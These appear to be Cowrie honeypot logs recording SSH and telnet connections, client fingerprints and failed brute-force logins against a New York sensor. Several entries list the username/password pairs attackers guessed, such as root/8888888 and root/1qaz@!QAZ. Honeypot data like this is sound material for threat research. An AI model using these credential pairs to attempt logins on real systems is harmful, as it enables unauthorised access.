{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:22.501435Z","src_ip":"47.237.167.49","session":"120734c0022f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.6","message":"Connection lost after 48.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:25.157725Z","src_ip":"47.237.167.49","session":"120734c0022f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"0526fdd01196","protocol":"telnet","message":"New connection: 152.42.224.71:39624 (10.17.0.5:23) [session: 0526fdd01196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:25.327919Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50392,"dst_ip":"10.17.0.5","dst_port":23,"session":"fabaa87e01bc","protocol":"telnet","message":"New connection: 152.42.224.71:50392 (10.17.0.5:23) [session: fabaa87e01bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:27.560850Z"}
{"eventid":"cowrie.session.closed","duration":39.37288570404053,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:27.935885Z","src_ip":"152.42.224.71","session":"e251e23e1c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.8617525100708,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:28.583668Z","src_ip":"152.42.224.71","session":"845b4e0e3900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"15bd12bc48a0","protocol":"ssh","message":"New connection: 103.183.114.55:40424 (10.17.0.5:22) [session: 15bd12bc48a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:29.727970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:29.735947Z","src_ip":"103.183.114.55","session":"15bd12bc48a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:29.964926Z","src_ip":"103.183.114.55","session":"15bd12bc48a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9379992a","message":"login attempt [root/9379992a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:30.652630Z","src_ip":"103.183.114.55","session":"15bd12bc48a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50402,"dst_ip":"10.17.0.5","dst_port":23,"session":"460d7d902f40","protocol":"telnet","message":"New connection: 152.42.224.71:50402 (10.17.0.5:23) [session: 460d7d902f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:31.847225Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:31.885133Z","src_ip":"103.183.114.55","session":"15bd12bc48a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50418,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2c0aa8a20f","protocol":"telnet","message":"New connection: 152.42.224.71:50418 (10.17.0.5:23) [session: 6c2c0aa8a20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:32.062601Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":40432,"dst_ip":"10.17.0.5","dst_port":22,"session":"18f3c4baa6c2","protocol":"ssh","message":"New connection: 43.156.96.97:40432 (10.17.0.5:22) [session: 18f3c4baa6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:33.389655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:33.394574Z","src_ip":"43.156.96.97","session":"18f3c4baa6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.4520845413208,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:33.511080Z","src_ip":"152.42.224.71","session":"8edf64f3a40f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:33.631951Z","src_ip":"43.156.96.97","session":"18f3c4baa6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mail","message":"login attempt [root/mail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:34.611041Z","src_ip":"43.156.96.97","session":"18f3c4baa6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50422,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e96f077950e","protocol":"telnet","message":"New connection: 152.42.224.71:50422 (10.17.0.5:23) [session: 4e96f077950e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:35.047412Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:35.850283Z","src_ip":"43.156.96.97","session":"18f3c4baa6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3877b76e08c","protocol":"telnet","message":"New connection: 152.42.224.71:52600 (10.17.0.5:23) [session: b3877b76e08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:36.071481Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":51982,"dst_ip":"10.17.0.5","dst_port":22,"session":"880536a29083","protocol":"ssh","message":"New connection: 103.91.246.101:51982 (10.17.0.5:22) [session: 880536a29083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:37.838620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:37.843559Z","src_ip":"103.91.246.101","session":"880536a29083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.064961Z","src_ip":"103.91.246.101","session":"880536a29083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52614,"dst_ip":"10.17.0.5","dst_port":23,"session":"71acb8e889a2","protocol":"telnet","message":"New connection: 152.42.224.71:52614 (10.17.0.5:23) [session: 71acb8e889a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.071239Z"}
{"eventid":"cowrie.session.closed","duration":21.961129665374756,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.654827Z","src_ip":"152.42.224.71","session":"efc81ccd62a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"721c385b6a13","protocol":"ssh","message":"New connection: 147.45.211.215:38856 (159.203.135.109:22) [session: 721c385b6a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.705240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.713210Z","src_ip":"147.45.211.215","session":"721c385b6a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.889143Z","src_ip":"147.45.211.215","session":"721c385b6a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@!QAZ","message":"login attempt [root/1qaz@!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:38.976694Z","src_ip":"103.91.246.101","session":"880536a29083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52602,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d2f522d2562","protocol":"telnet","message":"New connection: 152.42.224.71:52602 (10.17.0.5:23) [session: 2d2f522d2562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:39.007345Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888888","message":"login attempt [root/8888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:39.424211Z","src_ip":"147.45.211.215","session":"721c385b6a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52626,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba261818073e","protocol":"telnet","message":"New connection: 152.42.224.71:52626 (10.17.0.5:23) [session: ba261818073e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:39.459841Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:40.199699Z","src_ip":"103.91.246.101","session":"880536a29083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:40.602093Z","src_ip":"147.45.211.215","session":"721c385b6a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38366,"dst_ip":"159.203.135.109","dst_port":22,"session":"034ace322b55","protocol":"ssh","message":"New connection: 103.82.132.16:38366 (159.203.135.109:22) [session: 034ace322b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:45.720221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:45.728754Z","src_ip":"103.82.132.16","session":"034ace322b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:45.991733Z","src_ip":"103.82.132.16","session":"034ace322b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39128,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b082d283576","protocol":"telnet","message":"New connection: 152.42.224.71:39128 (10.17.0.5:23) [session: 7b082d283576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:46.475336Z"}
{"eventid":"cowrie.session.closed","duration":120.00080299377441,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:46.569203Z","src_ip":"152.42.224.71","session":"46bd7f7c3e77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"system","message":"login attempt [root/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:46.784241Z","src_ip":"103.82.132.16","session":"034ace322b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.49","src_port":59070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3569c7a04288","protocol":"ssh","message":"New connection: 108.181.2.49:59070 (10.17.0.5:22) [session: 3569c7a04288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:47.558110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:47.562016Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:47.632004Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:27:51:d3:b9:ee:15:b4:9d:a7:7c:05:24:15:66:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6aafP342B9ik/j7rb6zlSmFVuK/uX1zvZ/0WSexTI3go6OXJ9wTnWB0kwgM+JCV85lexp2bi39C95GIlVMmsSeuKnE6wDCYu/S6ftXpE0eeZMHL3cPuYjtO7KCOQBWKYgBeEcRYhYWPw07hHUIUPKC6B8/rQlfuPQAYcbfqktqi5/TClXzErQcTlVt2f8HhU4wgESkp86zj9CJFXYc8fwPF8vhm+3wRJhsSIRrp+5WyA0tzkRvQQfV3XTMax8wjE0mJGNXK5ur8v6HXGRoC6Se8psQ6QQ/TG4+NFj6/G/gQSVjxzKb6f5X06rFodNrVvOx6v3WSftWi5CZCOg/h6l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:27:51:d3:b9:ee:15:b4:9d:a7:7c:05:24:15:66:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:47.956177Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:27:51:d3:b9:ee:15:b4:9d:a7:7c:05:24:15:66:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6aafP342B9ik/j7rb6zlSmFVuK/uX1zvZ/0WSexTI3go6OXJ9wTnWB0kwgM+JCV85lexp2bi39C95GIlVMmsSeuKnE6wDCYu/S6ftXpE0eeZMHL3cPuYjtO7KCOQBWKYgBeEcRYhYWPw07hHUIUPKC6B8/rQlfuPQAYcbfqktqi5/TClXzErQcTlVt2f8HhU4wgESkp86zj9CJFXYc8fwPF8vhm+3wRJhsSIRrp+5WyA0tzkRvQQfV3XTMax8wjE0mJGNXK5ur8v6HXGRoC6Se8psQ6QQ/TG4+NFj6/G/gQSVjxzKb6f5X06rFodNrVvOx6v3WSftWi5CZCOg/h6l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:54:47.962878Z","src_ip":"108.181.2.49","session":"3569c7a04288","protocol":"ssh"}
